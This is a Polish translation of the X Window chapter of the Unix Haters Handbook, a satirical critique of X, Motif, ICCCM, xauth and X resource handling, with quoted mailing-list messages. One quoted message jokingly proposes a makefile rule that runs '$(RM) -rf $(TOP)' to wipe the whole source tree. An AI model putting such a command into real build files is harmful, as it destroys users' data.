Należy zaznaczyć, że X zamienił znaczenia słów klient i serwer. We wszystkich innych zależnościach klient-serwer serwer jest zdalną maszyną na której uruchomiono aplikację (np. serwer udostępnia usługi jak baza danych czy usługi obliczeniowe). Z jakiegoś przekornego powodu który lepiej pozostawić wyobraźni, X upiera się przy nazywaniu programu na zdalnej maszynie „klientem”. Ten program wyświetla swoje okna na „serwerze okien”. Będziemy pisać zgodnie z terminologią X dyskutując o graficznych klientach i serwerach. Tak więc kiedy widzisz „klient” myśl „zdalna maszyna na której działa aplikacja” a kiedy widzisz „serwer” myśl „lokalna maszyna która wyświetla wyjście i przyjmuje wejście od użytkownika”.

X zaistniał w próżni. W tym czasie nie było ustanowionego standardu graficznego Unixa. X dał taki standard, który miał swoją własną darmową implementację. X zrównał pole

84

Page 85: Unix Haters Handbook

gry: dla większości aplikacji każdy sprzęt nagle stał się tylko na tyle dobry, na ile mógł dostarczyć darmowy MIT X Server.

Nawet dzisiaj X server ciągle zamienia szybkie komputery w głupie terminale. Potrzebujesz całkiem mocnego komputera żeby X działał szybko – to jest to co uwielbiają sprzedawcy sprzętu.

Niegraficzny GUI

X został zaprojektowany do uruchomienia trzech programów: xterm, xload i xclock. (Pomysł menedżera okien został dodany po przemyśleniach i to widać). Przez kilka pierwszych lat jego rozwoju w MIT to właściwie były jedyne programy jakie były uruchamiane pod systemem okien. Zauważ, że żaden z tych programów nie miał żadnych pozorów interfejsu graficznego (oprócz xclock), tylko jeden z tych programów implementował cokolwiek w stylu wytnij-i-wklej (i obsługiwał tylko jeden typ danych), i żaden z nich nie wymagał szczególnie zaawansowanego podejścia do zarządzania kolorami. Co jest więc dziwnego w tym że są to te same obszary w których współczesny X zawodzi?

Dziesięć lat późniek większość komputerów na których działa X uruchamia go dla czterech programów: xterm, xload, xclock i menedżera okien. I w większości okien xterma działa Emacs! X jest najdroższym sposobem pokazania okienka Emacsa. Z pewnością byłoby dużo taniej i łatwiej włożyć obsługę terminali we właściwe miejsce – do kernela zamiast zmuszać ludzi do kupowania drogich terminali bitmapowych żeby na nich uruchamiać znakowe aplikacje. Z drugiej strony, użytkownicy nie mieliby wtedy wszystkich tych ohydnych fontów.

Motif – zestaw „poznęcaj się sam”

X dał sprzedawcom Unixa to, co przepowiadali od lat: standard umożliwiający programom napisanym dla różnych komputerów współpracę. Ale dał im wystarczająco dużo. X dał programistom sposoby wyświetlenia okien i pikseli, ale nic nie mówił o przyciskach, menu, paskach przesuwania ani innych potrzebnych elementach interfejsu graficznego. Programiści wymyślili sobie własne. Szybko społeczność Unixowa miała około sześciu różnych standardów interfejsu. Grupa ludzi która nie napisała 10 linii kodu założyła sklep w budynku w Cambridge, Massachusetts, który był kiedyś siedzibą upadłej firmy komputerowej i dała „rozwiązanie”: Open Software Foundation Motif.

Motif czyni Unixa wolnym. Naprawdę wolnym. Celem projektu Motif było danie X Window System zdolności zarządzania oknami takiej jak menedżer okien HP około 1988 i wizualnej elegancji Microsoft Windows. Nie żartujemy sobie.

Przepis na katastrofę: zacznij od metafory Windows, który był zaprojektowany i ręcznie kodowany w asemblerze. Zbuduj coś na trzech albo czterech warstwach X-a żeby wyglądał jak Windows. Nazwij to „Motif”. Teraz ustaw koło siebie dwie 486, jedną z Windowsem a drugą z Unixem + Motif. Przyglądaj się jak jedna z nich się wlecze. Jak upada szybciej niż pucz w Rosji. Motif nie może konkurować z DOS/Windows ani z MacOS jako platforma dla użytkownika.

Ice Cube: śmiertelna broń

Jednym z podstawowych celów projektowych X-a było oddzielenie menedżera okien od serwera okien. „Mechanizm, nie kierunek” – powtarzano. Tak jest, serwery X zapewniają mechanizm do rysowania na ekranie i zarządzania oknami, ale nie implementują kierunku interakcji człowiek – komputer. Podczas gdy mogło to wyglądać jak dobry pomysł w tamtym

85

Page 86: Unix Haters Handbook

czasie (zwłaszcza jeżeli jesteś w środowisku badawczym, eksperymentując z różnymi podejściami do rozwiązania problemu interakcji człowiek – komputer), stworzyło prawdziwą wieżę Babel interfejsów użytkownika.

Jeśli siedzisz przy komputerze kolegi z Windowsem, masz myszkę z dwoma klawiszami której możesz użyć bez problemu. Jeśli siedzisz przy Macintoshu innego kolegi, masz myszkę z jednym przyciskiem której możesz użyć bez problemu. Ale spróbuj znaleźć sens w X-owym terminalu: trzy przyciski, każdy z nich zaprogramowany inaczej do wykonywania innych zadań w każdym dniu tygodnia – a trzeba dodać do tego kombinacje typu control – lewy przycisk, shift – prawy przycisk, control – shift – meta – środkowy przycisk i tak dalej. Rzeczy nie przedstawiają się lepiej z punktu widzenia programisty.

W efekcie jednym z najbardziej niesamowitych dzieł literackich pochodzących od X Consortium to „Inter Client Communication Conventions Manual”, szerzej znany jako „ICCCM”, „Ice Cubed” albo „I39L” (skrót od „I, 39 liter, L”). Opisane tam są protokoły których klient X musi używać żeby połączyć się z serwerem X, zawiera rozmaite tematy jak zarządzanie oknami, zarządzanie sesjami, klawiatura i mapa kolorów. W skrócie, próbuje ukryć wszystko o czym projektanci X zapomnieli i próbuje naprawić wszystko co zrobili źle. Ale na to było już za późno – w czasie kiedy opublikowano ICCCM, ludzie już pisali menedżery okien i zestawy narzędzi, więc każda nowa wersja ICCCM była zmuszona pochylać się do tyłu, żeby być wstecznie kompatybilna z pomyłkami przeszłości.

ICCCM jest niewiarygodnie zwarty, musi być przestrzegany do ostatniej litery i nadal nie działa. Zgodność z ICCCM jest jedną z najbardziej złożonych przeszkód w implementowaniu narzędzi X, menedżerów okien i nawet zwykłych aplikacji. Jest tak trudna do osiągnięcia, że wiele z jej dobrodziejstw nie są warte problemów. A gdy jeden program jest niezgodny, rozwala inne programy. To jest powód, dla którego „wytnij i wklej” nigdy nie działa poprawnie w X (chyba że wycinasz i wklejasz zwykły tekst), „przeciągnij i upuść” zawiesza system, mapy kolorów dziko migają i nigdy nie są zainstalowane we właściwym czasie, powiększanie klawiatury zostaje w tyle za kursorem, wpisywany tekst idzie do niewłaściwego okna, a zamknięcie okienka wyskakującego może zamknąć całą aplikację. Jeśli chcesz napisać aplikację zgodną z ICCCM, musisz przetestować ją z każdą inną aplikacją, ze wszystkimi możliwymi menedżerami okien, a potem prosić sprzedawców o naprawienie ich problemów w następnej wersji.

W sumie ICCCM jest technologiczną katastrofą: toksyczne odpady złamanych protokołów, koszmary wstecznej kompatybilności, złożone nierozwiązania przestarzałych nieproblemów, pokręcona masa blizn i strupów na ciele, mająca ukryć moralną i intelektualną deprawację przemysłowego standardowego nagiego cesarza.

„Używanie tych zestawów narzędzi to jakby próba zrobienia regału na książki z pogniecionych ziemniaków.”

- Jamie Zawinski

Mity X

X jest kolekcją mitów które stały się tak rozpowszechnione i płodne w przemyśle komputerowym, że wiele z nich jest teraz akceptowane jako „fakty”, bez żadnej myśli czy refleksji.

Mit: X demonstruje moc architektury klient/serwer

Na zwykłą wzmiankę o sieciowych systemach okien, niektórzy śrubogłowi którzy mieszają technologię z ekonomią dostają piany na ustach o ich systemach klient/serwer i jak

86

Page 87: Unix Haters Handbook

przyszłe palmtopy będą po prostu uruchamiać serwer X, a druga połowa programu będzie działać na jakimś Cray-u na ulicy. Stali się nieświadomymi pionkami spisku producentów sprzętu w celu sprzedawania nowszych systemów co roku. W końcu jaka jest lepsza droga żeby zmusić użytkowników do wymiany ich sprzętu niż dać im X, gdzie jedna aplikacja może położyć klienta, serwer i sieć między nimi naraz!

Model klient/serwer bazy danych (serwer przechowuje wszystkie dane, klienci je przeszukują) ma sens. Obliczeniowy model klient/serwer (serwer jest bardzo drogim albo eksperymentalnym superkomputerem, a klient jest biurkową stacją roboczą albo komputerem przenośnym) ma sens. Ale graficzny model klient/serwer, który dzieli interfejs według jakiegoś arbitralnego środka jest jak salomonowy podział dziecka. Nogi, serce i lewe oko są po stronie serwera, ręce i płuca idą do klienta, głowa turla się po podłodze, krew sika dookoła.

Podstawowym problemem z pojmowaniem klienta i serwera przez X jest właściwy podział pracy pomiędzy klient a serwer, który może być dokonany tylko na podstawie aplikacji. Niektóre z nich (jak symulator lotu) wymagają żeby wszystkie ruchy myszki były wysyłane do aplikacji. Inne wymagają tylko klików myszki. Jeszcze inne wymagają wymyślnych kombinacji obydwu, zależnie od stanu programu albo obszaru ekranu na którym znajduje się myszka. Niektóre wymagają uaktualniania mierników na ekranie w każdej sekundzie. Inne programy chcą wyświetlać zegary; serwer może równie dobrze może sobie uaktualniać informacje, jeśli istniałaby jakaś metoda powiedzenia mu żeby to robił.

Właściwym modelem graficznym klient/serwer byłby rozszerzalny serwer. Aplikacje na zdalnych maszynach mogłyby pobierać specjalne rozszerzenia w miarę potrzeby i współdzielić biblioteki na serwerze. Pobrany kod mógłby rysować okna, śledzić zdarzenia wejściowe, zapewniać szybką interaktywną reakcję i minimalizować ruch w sieci poprzez komunikację z aplikacją z użyciem dynamicznego protokołu wysokiego poziomu.

Na przykład, wyobraźmy sobie aplikację CAD zbudowaną na takim rozszerzalnym serwerze. Taka aplikacja mogłaby pobrać program do narysowania układu scalonego (US) i przyporządkować mu nazwę. Od tej pory klient mógłby narysować ten US gdziekolwiek na ekrania poprzez proste wysłanie nazwy i pary współrzędnych. Pójdźmy dalej – klient mógłby pobrać programy i struktury danych potrzebne do narysowania całego schematu, które byłyby wywoływane automatycznie do odświeżania i przesuwania okna, bez przeszkadzania serwerowi. Użytkownik mógłby przeciągać US dookoła spokojnie, bez żadnego ruchu w sieci albo przełączania kontekstu, a klient wysyłałby wiadomość do serwera kiedy interakcja byłaby zakończona. To umożliwiałoby uruchomienie interaktywnych klientów na powolnych (czyli o niskiej przepustowości) liniach komunikacyjnych.

Brzmi jak science fiction? Rozszerzalny serwer okien był strategią precyzyjnie przyjętą przez system okien NeWS (Network extensible Window System) napisany przez Jamesa Goslinga w Sunie. W takim rozszerzalnym systemie zestaw narzędzi interfejsu użytkownika staje się rozszerzalną biblioteką klas serwera którą klienci pobierają bezpośrednio z serwera (podejście zastosowane przez TNT Toolkit Suna). Poszczególne obiekty narzędzi w różnych aplikacjach współdzielą obiekty na serwerze, oszczędzając czas i pamięć i tworząc spójny wygląd aplikacji, który jest przystosowalny. W NeWS menedżer okien był zaimplementowany w serwerze, eliminując pośrednictwo sieci przy operacjach manipulowania oknami – i w związku z tym także problemy przełączania kontekstu i interakcji które są plagą zestawów narzędzi i menedżerów okien X.

Ostatecznie, NeWS nie był ekonomicznie ani politycznie żywotny, ponieważ rozwiązywał problemy do stworzenia których zaprojektowano X.

Mit: X powoduje, że Unix jest „łatwy w użyciu”

87

Page 88: Unix Haters Handbook

Interfejsy graficzne mogą tylko przykryć złe projekty i prowizorki w systemie operacyjnym, ale nie mogą ich wyeliminować.

Metafora „przeciągnij i upuść” próbuje przykryć system plików Unixa, ale tak mała część Unixa jest zaprojektowana jako metafora biurka że jest to prowizorka na prowizorce, z małymi dziurami i ostrymi kantami wystającymi wszędzie. Być może metafora „spadaj i upuść” jest bardziej właściwa dla tak nieefektywnej i zawodnej wydajności.

Świecącym przykładem jest Open Windows File Manager Suna, który wyświetla pliki zrzutów core jako śliczne małe ikonki czerwonych bomb. Jeżeli dwukrotnie klikniesz na bombie, uruchomi edytor tekstu na zrzucie core. Nieszkodliwe, ale niezbyt użyteczne. Ale jeśli intuicyjnie przeciągniesz i upuścisz bombę na DBX Debugger, stanie się dokładnie to czego mógłbyś się spodziewać gdybyś był terrorystą: zawiesza cały system, ponieważ zrzut core (razem z dużą niemapowaną luką zer) jest przepompowywany przez serwer do okna debuggera, który rozdyma się do maksymalnej pojemności partycji wymiany, a następnie gwałtownie eksploduje zrzucając jeszcze większy plik core w miejscu oryginalnego, zapychając system plików, grzebiąc serwer plików i uderzając odłamkiem w menedżer plików. (Ten błąd został naprawiony).

Ale to nie wszystko: menedżer plików daje nawet więcej mocy w twoje ręce jeśli jesteś zalogowany jako root! Kiedy przeciągniesz i upuścisz katalog w samego siebie, piszczy i wyrzuca komunikat „rename: invalid argument” na górze okna, a następnie natychmiast kasuje całe drzewo katalogów bez zawracania sobie głowy odświeżeniem graficznej przeglądarki katalogów.

Następująca wiadomość ilustruje podejście X do „bezpieczeństwa poprzez niejasność”:

Date: Wed, 30 Jan 91 15:35:46 -0800From: David Chapman <[email protected]>To: UNIX-HATERSSubject: MIT-MAGIC-COOKIE-1

Dzisiaj próbowałem po raz pierwszy użyć X zgodnie z zamierzonym zastosowaniem, mianowicie do wyświetlania poprzez sieć. Tak więc miałem okno telnetu z boris, gdzie byłem zalogowany i gdzie był uruchomiony X do akbar, gdzie działał mój program. Uruchomiłem program i zrzucił rdzeń. Niewtątpliwie muszę użyć trochę magii żeby włączyć międzysieciowego X-a. To głupie. OK, zapytam unixowego „czarodzieja”. Mówi żeby zrobić setenv DISPLAY boris:0. Prawdopodobnie to oznacza że X jest za głupi żeby zorientować się skąd przychodzisz, albo Unix jest za głupi żeby to powiedzieć. (Lepiej nie spekulować po co to 0).

Znów uruchomiłem program. Teraz mi mówi że serwer nie ma autoryzacji do rozmowy z klientem. Znów rozmowa z unixowym „czarodziejem”. A, tak, musisz uruchomić xauth, żeby powiedzieć mu że jest OK dla boris rozmawiać z akbar. Jest to robione na poziomie użytkownika z jakiegoś powodu. Poświęciłem temu 10 sekund myślenia: jakiego rodzaju złamaniu bezpieczeństwa miałoby to przeciwdziałać? Nie mogłem stworzyć żadnego modelu. No dobra, uruchom xauth i nie martw się o to. xauth ma procesor komend i chce odbyć z tobą długą pogawędkę. Najwyraźniej manipuluje plikiem .Xauthority. OK, chyba chcemy dodać wpis dla boris.

xauth> help addadd dpyname protoname hexkey add entry

88

Page 89: Unix Haters Handbook

Cóż, nie jest to zbyt pomocne. Prawdopodobnie dpy oznacza „display” po unixowemu a protoname musi być... ee.. nazwą protokołu. Jakiego do diabła protokołu mam używać? Dlaczego powinienem to wiedzieć. Cóż, może zadziała na ustawieniach standardowych. Ponieważ ustawiłem zmienną DISPLAY na „boris:0”, może to jest dpyname.

xauth> add boris:0xauth: (stdin):4 bad "add" command line

Świetnie. Muszę chyba wiedzieć to to jest hexkey. Myślałem że to było narzędzie którego używałem do blokowania strun w mojej gitarze. Zajrzyjmy do manuala.

Nie zamieszczę tutaj całego manuala; możecie sobie uruchomić „man xauth” dla dobrego dowcipu. Oto wyjaśnienie komendy add:

add displayname protocolname hexkey

wpis autoryzacji dla wskazanego wyświetlacza używając podanego protokołu i danych klucza jest dodawany do pliku autoryzacyjnego. Dane są wymienione jako ciąg cyfr heksadecymalnych o parzystej długości, każda para reprezentuje jeden oktet. Pierwsza cyfra daje najbardziej znaczące 4 bity oktetu a druga cyfra daje najmniej znaczące 4 bity. Nazwa protokołu złożona tylko z jednej kropki jest traktowana jako skrót dla MIT-MAGIC-COOKIE-1.

To jest wyraźnie całkowicie poza kontrolą. Aby uruchomić program przez cholerną sieć mam wpisywać ciągi cyfr heksadecymalnych które robią bóg wie co używając programu który jest specjalnym sktótem dla MIT-MAGIC-COOKIE-1? I co to jest do diabła za nazwa protokołu? Dlaczego jest to tak ważne że to jest domyślna nazwa protokołu?

Najwyraźniej jest wolą Allaha żebym wyrzucił tą maszynę Unixową przez okno. Pogodzę się z wolą Allaha.

Każdy kto używał kiedyś X wie, że błędem Chapmana była próba użycia xauth na początku. Powinien wiedzieć lepiej. (Wiń ofiarę, nie program).

From: Olin Shivers <[email protected]>Date: Wed, 30 Jan 91 23:49:46 ESTTo: [email protected]: [email protected], UNIX-HATERSSubject: MIT-MAGIC-COOKIE-1

Tutaj w CMU, nie znam nikogo kto używa xauth. Znam kilku ludzi którzy gapili się na niego długo i mocno. Znam kilku ludzi którzy są X-owymi hackerami. Na przykład ten, kto wysłał program pokazujący jak przechwycić wciskane klawisze na serwerze X (więc można na przykład patrzeć jak wpisuje hasło) jest tutejszym absolwentem. Żaden z nich nie używa xauth. Po prostu żyją niebezpiecznie albo przełączają autentykację xhost kiedy potrzebują mieć połączenie sieciowe X.

Kiedy myślę o czasie jaki zainwestowałem próbując zrozumieć i używać tych systemów, doszedłem do wniosku że tak naprawdę są rodzajem kognitywnej czarnej dziury. Wrogim bytem które ciągle czyha aby uwięzić nieuważnych.

89

Page 90: Unix Haters Handbook

Naprawdę nie mogę sobie wyobrazić obrazu umysłowego tego rodzaju ludzi którzy projektują takie systemy. Jakimi dziwacznymi ścieżkami przemieszczają się ich myśli? Najbliższym porównaniem jest system poszukujący porządku który zostaje zalany szumem – niektórzy chorzy umysłowo przejawiają taki rodzaj zachowania. Starają się być spójni i racjonalni, ale w końcu złożoność szumu ich przytłacza. A na zewnątrz wychodzi bełkot, szaleńcze bicie albo xauth.

To naprawdę smutna myśl że żyjemy w społeczeństwie które pozwala ludziom projektującym systemy takie jak xauth głosować, prowadzić samochody, posiadać broń i się rozmnażać.

Mit: X jest „dostosowalny”

...tak samo jak stopiony bąbel surówki żelaza. Ale idzie ku lepszemu, przynajmniej teraz nie musisz wszystkiego robić gołymi rękami. Visual User Environment z HP jest tak zaawansowany, że ma nawet ikonę którą można kliknąć aby dostać się do menedżera zasobów: uruchamia vi na pliku .Xdefaults! Pomysł oszczędzający pracy, tak długo jak jesteś wystarczająco oświecony aby zrozumieć domyślne ustawienia X i wystarczająco archaiczny żeby używać vi. Następna wiadomość opisuje niesamowitą elastyczność i nieskrępowaną wolność ekspresji, których nie zapewniają X.

Date: Fri, 22 Feb 91 08:17:14 -0800From: [email protected] (Gardner Cohen)

Przypuszczam że josh wysłał ci maila na temat .Xdefaults. Jestem także zainteresowany odpowiedzią. Jak programy X obsługują ustawienia domyślne?

Jeśli są Xt, zachowują pewne pozory standardów, i można przejść się po drzewie działających aplikacji żeby sprawdzić, co trzeba zmienić. Jeśli nie są Xt, mogą robić każdą cholerną rzecz jaką chcą. Mogą robić XGetDefault, który nie sprawdza żadnych nazw klas i nie zauważa rzeczy linii poleceń –xrm.

Sprawdzenie gdzie jest konkretny zasób dla działającej aplikacji jest bardziej śmieszne, ponieważ zasób może pochodzić z następujących miejsc (jest tu określony porządek, który się zmienił z R2 do R3 do R4):

.Xdefaults (tylko jeśli nie zrobili xrdb) Linia poleceń –xrm ‘rzecz.zasób: wartość’ xrdb, uruchamiane przez użytkownika w .xsession albo .xinitrc; ten program

uruchamia cpp na dostarczonym argumencie (nazwie pliku), więc każdy stary śmieć może być #included z innej planety. A, robi też #define COLOR i kilka innych rzeczy, więc lepiej żebyś wiedział jaki rodzaj wyświetlacza uruchamia.

Nazwa pliku, wskazana przez XENVIRONMENT .Xdefaults-hostname Nazwa pliku która jest nazwą klasy aplikacji (zwykle kompletnie

nieintuicyjnie wygenerowana: Xparty dla xparty, Mwm dla mwm, XRn dla xrn itd.) w katalogu /usr/lib/X11/app-defaults (albo w katalogu wskazanym przez zmienną środowiskową XAPPLRESDIR). Ustawienia domyślne tego katalogu mogą być zmieniane przez kogokolwiek budującego i instalującego biblioteki X.

90

Page 91: Unix Haters Handbook

Naprawdę pomysłowe programy mogą aktywnie szukać i dołączać bazy danych zasobów z innych szczęśliwych miejsc. Motified xrn pisał ostatnio że ma opóźniony w rozwoju edytor zasobów który zostawia zmodyfikowane zasoby w plikach w bieżącym katalogu i domowym katalogu użytkownika. Podczas uruchamiania szczęśliwie rozgląda się wszędzie w poszukiwaniu plików o niesamowitych nazwach aby je załadować, wiele z nich zaczyna się od kropki więc nie będą ci „przeszkadzać” kiedy listujesz swoje pliki.

Piszący aplikacje oparte na WCL mogą ładować pliki zasobów które będą generować nowe [widgets] o nazwach wyspecyfikowanych w tych (lub innych) plikach zasobów.

Oznacza to że mądrzejszy od przeciętnego niedźwiedzia użytkownik któremu udało się dowiedzieć że

snot.goddamn.stupid.widget.fontList: micro

jest zasobem który musi zmienić żeby zmienić font w swojej aplikacji „snot”, może nie zdołać dowiedzieć się gdzie ma to włożyć. Joe siedzący w następnej zagródce powie „po prostu wpisz do swojego .Xdefaults”, ale jeśli Joe ma skopiowane od Freda .xsession, robi xrdb .xresources tak że .Xdefaults w ogóle nie są czytane. Joe ani nie używa xrdb, ani nikt mu nie powiedział że ma zrobić xrdb .Xdefaults. Dziwi się dlaczego kiedy edytuje .Xdefaults zmiany nie są stosowane dopóki się nie „wyloguje”, ponieważ nigdy nie uruchamia xrdb żeby przeładować zasoby. A, i kiedy używa NCD z domu, rzeczy zachowują się „inaczej”, i nie wie dlaczego. „Po prostu czasami jest inaczej”.

Pat Clueless doszedł do wniosku że XAPPLRESDIR to właściwa droga, ponieważ pozwala na oddzielne pliki dla każdej aplikacji. Ale Pat nie wie jaka jest nazwa klasy dla tej rzeczy. Pat wie że kopia pliku wykonywalnego nazywa się „snot”, ale kiedy dodał plik Snot albo Xsnot albo Xsnot nic się nie stało. Pat ma manual w którym zapomniano powiedzieć jaka jest nazwa klasy aplikacji i zawsze opisuje zasoby zaczynające się od „*”, co nie jest pomocne. Pat zapytał Gardnera, który odpalił emacsa na pliku wykonywalnym i wyszukując (nie uwzględniając wielkości liter) „snot”, znalazł kilka ciągów SNot i to zasugerował. Hurra, działa. Gardner stwierdził że Pat może nawet użyć SNot*fontList: micro żeby zmienić wszystkie fonty w aplikacji, ale znalazł kilka miejsc w którym fonty się nie zmieniły z jakiegoś powodu. Ktoś wskazał na linię w .xresources Pata (albo był to plik #included w .xresources) w formie *goddamn*fontList: 10x22, który skopiował od Steve’a który odszedł w zeszłym roku i oczywiście ten zasób jest „bardziej specyficzny” niż Pata, cokolwiek do diabła to oznacza, więc nastąpił precedens. Przykro mi, Steve. Nie możesz nawet przypomnieć sobie jaka aplikacja miała zmieniać ten zasób. Niedobrze.

Ech. I tak dalej i tak dalej. Spróbuj wyjaśnić komuś jak zmodyfikować niektóre zachowania menedżera okien z przymusowym re-xrdb, następnie wybierz pozycję „restart” z menu menedżera okien (którego nie ma większość ludzi bo skopiowali .mwmrc od faceta z naprzeciwka), albo wyloguj się. Który plik muszę edytować? .mwmrc? Mwm? .Xdefaults? .xrdb? .xresources? .xsession? .xinitrc? .xini-trc.ncd?

Dlaczego to wszystko nie działa tak jak chcę? Dlaczego kiedy próbuję używać stacji roboczej mojego sąsiada niektóre okna pojawiają się na mojej stacji? Dlaczego kiedy robię rlogin na inną maszynę, dostaję te dziwne komunikaty X i zrzuty core kiedy próbuję uruchomić tą aplikację? Jak mogę wyłączyć to zachowanie? Nie wiem skąd to się wzięło, po prostu zrobiłem #include pliku schematu kolorów od Boba i wszystko poszło źle i nie mogę stwierdzić dlaczego!

91

Page 92: Unix Haters Handbook

NIECH MNIE KTOŚ ZASTRZELI, JESTEM W PIEKLE!!!

Mit: X jest „przenośny”

...a Iran-Contra nie uzbrajał zakładników.Nawet jeśli uda ci się skompilować program X, nie ma gwarancji że będzie działał z

twoim serwerem. Jeśli aplikacja wymaga rozszerzenia X którego nie zapewnia twój serwer, wtedy zawiedzie. Aplikacje X nie mogą same rozszerzać serwera – rozszerzenie musi być skompilowane i zlinkowane do serwera. Najbardziej interesujące rozszerzenia wymagają rozległych modyfikacji i rekompilacji serwera X, zdecydowanie nietrywialne zadanie. Następna wiadomość mówi jak paląca mózg i rozrywająca oczy może być kompilacja rozszerzeń „przenośnego” serwera X:

Date: Wed, 4 Mar 92 02:53:53 PSTX-Windows: Boy, Is my Butt SoreFrom: Jamie Zawinski [[email protected]]To: UNIX-HATERSSubject: X: or, How I Learned to Stop Worrying and Love the Bomb

Nigdy nie wierzcie instrukcjom instalacji rozszerzeń serwera X. To zupełna strata czasu. Możesz sobie myśleć „Zainstaluję ten fragment kodu i zrekompiluję mój serwer X i wtedy X będzie TROCHĘ mniej KRETYŃSKI; będzie PROSTY. Obszedłem dookoła kolejny GŁUPI ZŁY PROJEKT i WYGRYWAM.” Ha! Weź pod uwagę, czy żucie szkła nie daje więcej korzyści niż to co chcesz zrobić.

Po czterech godzinach bólu, w tym takich piękności jak tuzin katalogów w którym musisz utworzyć link symboliczny nazwany „X11” wskazujący na miejsce gdziekolwiek są naprawdę include X, ponieważ automatycznie wygenerowane makefiles zawierają rzeczy typu:

-I../../../../../../include

zamiast:

-I../../../../include,

albo nawet lepiej:

-I../../.././../mit/./../../../include

po czym i tak musisz ręcznie poprzerabiać automatycznie generowane makefiles ponieważ jakieś losowe symbole preprocesora nie zostały zdefiniowane i powodują fałszywe błędy „don’t know how to make”, a następnie zdasz sobie sprawę że „makedepend”, którego nie chciałeś uruchamiać powoduje błędy ponieważ skrypt instalacyjny rozszerzenia robi linki symboliczne do katalogów zamiast do kopii, i „..” NIE DZIAŁA z linkami symbolicznymi, itd., itd.,

W końcu zdajesz sobie sprawę że jedynym sposobem na skompilowanie czegokolwiek co jest zasadniczą częścią X jest wyjść na górę drzewa, pięć poziomów wyżej niż plik wykonywalny który chcesz wygenerować i powiedzieć „make everything”. Następnie wrócić za godzinę kiedy skończy robić MAKEFILES żeby zobaczyć czy były jakieś problemy z KOMPILACJĄ.

Wtedy zaczniesz zadawać sobie pytania typu „dlaczego cośtam się kompiluje? Nie zmieniałem tego, co się DZIEJE?”

92

Page 93: Unix Haters Handbook

Nie zapomnij że MUSISZ skompilować WSZYSTKIE PEX-y, nawet te niezlinkowane z żadnym plikiem wykonywalnym który kiedykolwiek uruchamiałeś. To dla TWOJEGO DOBRA!

A kiedy zrozumiesz co zrobiłeś źle, zdasz sobie sprawę co powinieneś zrobić OD POCZĄTKU:

all::$(RM) -rf $(TOP)

Ale BĄDŹ OSTROŻNY! Druga linia nie może się zaczynać od spacji.

W ogólności, rozszerzenia X są niepowodzeniem. Wyjątkiem potwierdzającym regułę jest rozszerzenie ShapedWindow, które zostało specjalnie zaprojektowane aby zaimplementować okrągłe zegary i gałki oczne. Ale większość piszących aplikacje nie zawraca sobie głowy używaniem właściwych rozszerzeń jak Display PostScript, ponieważ terminale X i serwery MIT nie wspomagają ich. Wielu uważa za zawracanie głowy używanie wszechobecnych rozszerzeń typu współdzielona pamięć, podwójne buforowanie albo [splines]: nadal nie działają w wielu wypadkach więc musisz być przygotowany do radzenia sobie bez nich. Jeśli nie potrzebujesz naprawdę rozszerzenia, po co komplikować kod specjalnymi przypadkami? Większość aplikacji która używa rozszerzeń po prostu przyjmuje że są obsługiwane i wywala się jeżeli nie są.

Najwięcej co można powiedzieć o podejściu „najmniejszy wspólny mianownik” to że X tak się ma do grafiki, że zrównuje pole gry pozwalając niewiarygodnie głupim firmom wskoczyć na wagon z orkiestrą i sprzedawać przestarzały złom który jest tak samo bezużyteczny jak markowe, high-endowe stacje robocze:

Date: Wed, 10 Apr 91 08:14:16 EDTFrom: Steve Strassmann <[email protected]>To: UNIX-HATERSSubject: the display from hell

Moja konsola HP 9000/835 ma dwa kolorowe 19” monitory i niezwykle kosztowną kartę graficzną Turbo SRX aby nimi sterować. Może myślisz że można po prostu powiedzieć X windows że ma dwa monitory, lewy i prawy, ale to by było nie do pomyślenia proste. W końcu jeśli zabawki typu Macintosh mogą to zrobić, Unix musi wszystko znacznie utrudnić żeby pokazać jaki jest zaawansowany.

Więc naprawdę mam dwa urządzenia wyświetlania, /dev/crt0 i /dev/crt1.Nie, przepraszam, kłamałem.Widzisz, Turbo SRX ma poziom graficzny (z 24 bitami na piksel) i poziom

nakładki (z 4 bitami na piksel). Poziom nakładki jest właśnie dla rzeczy typu systemy okien, które potrzebują rzeczy typu kursor, a poziom graficzny jest do rysowania grafiki 3D. Tak więc naprawdę potrzebuję czterech urządzeń:

/dev/crt0 poziom graficzny prawego monitora/dev/crt1 poziom graficzny lewego monitora/dev/ocrt0 poziom nakładki prawego monitora/dev/ocrt1 poziom nakładki lewego monitora

Nie, przepraszam, kłamałem./dev/ocrt0 daje tylko trzy z czterech bitów nakładki. Czwarty bit jest

zarezerwowany do wyłącznego użytku federalnych zespołów ratunkowych w razie narodowej epidemii Gnicia Pikseli. Jeśli chcesz żyć niebezpiecznie i pod groźbą

93

Page 94: Unix Haters Handbook

dochodzenia FBI, możesz użyć /dev/o4crt0 i /dev/o4crt1 w celu rysowania na poziomie nakładki. Tak więc wszystko, co musisz zrobić to powiedzieć X Windows żeby używał tych nakładek o4, i możesz rysować grafikę na poziomie graficznym.

Nie, przepraszam, kłamałem.X nie będzie działał na tych 4-bitowych poziomach nakładek. Jest tak

ponieważ używam Motif-a, który jest tak zaawansowany że zmusza cię do pozostawienia jednocalowej grubości ramki wokół każdego okna w razie gdyby twoja myszka była tak bezwartościowa, że nie możesz trafić czegokolwiek w co celujesz, więc potrzebujesz [widgets] zaprojektowanych w ten sam sposób co pas startowy na lotnisku międzynarodowym w Moskwie. Mój program ma przeglądarkę która używa różnych kolorów aby odróżnić różne typy węzłów. Jednak w przeciwieństwie do IBM PC Jr., ta warta $150000 stacja robocza z super kartą graficzną obsługującą 28 bitów na piksel nie może wyświetlić więcej niż 16 kolorów na raz. Jeśli używasz zestawu Motif „poznęcaj się sam”, próba osiągnięcia 17-tego koloru powoduje straszną awarię twojego programu.

Tak więc pomyślałem sobie sprytnie, że uruchomię X Windows na poziomie graficznym. To znaczy że X nie będzie używał poziomów nakładek, które mają wsparcie sprzętowe dla kursorów. To także oznacza że nie możesz użyć super świetnej karty graficznej 3D, ponieważ żeby narysować sześcian, musisz „ukraść” bufor ramki od X, który jest zgryźliwy i nie pomoże w czymś takim.

Pomimo wszystkiego mam z tego unikalną przyjemność. Poziom nakładki jest używany dla /dev/console, co oznacza że wszystkie komunikaty konsoli są drukowane 10-punktowym fontem Troglodyte Bold, nałożonym na wszystko co jest na ekranie. Za każdym razem kiedy ktoś w laboratorium drukuje coś na drukarce dołączonej do mojej maszyny albo NFS zmoczy swoje gacie z powodu timeoutu, albo jakiś serwer plików grozi wyłączeniem na trzy godziny planowanej konserwacji, kolejna wiadomość idzie na mój ekran zupełnie jak reporter sądowy z syndromem Tourette’a.

